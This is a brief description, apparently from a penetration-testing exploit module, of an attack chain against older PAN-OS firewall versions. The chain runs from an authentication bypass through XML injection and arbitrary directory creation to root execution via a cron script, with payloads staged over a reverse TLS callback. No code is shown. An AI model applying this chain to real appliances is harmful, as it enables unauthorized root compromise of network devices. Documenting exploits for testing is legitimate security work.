        This module exploits a chain of vulnerabilities in Palo Alto Networks products running
        PAN-OS versions prior to 6.1.19, 7.0.19, 7.1.14, and 8.0.6. This chain starts by using
        an authentication bypass flaw to to exploit an XML injection issue, which is then
        abused to create an arbitrary directory, and finally gains root code execution by
        exploiting a vulnerable cron script. This module uses an initial reverse TLS callback
        to stage arbitrary payloads on the target appliance. The cron job used for the final
        payload runs every 15 minutes by default and exploitation can take up to 20 minutes.
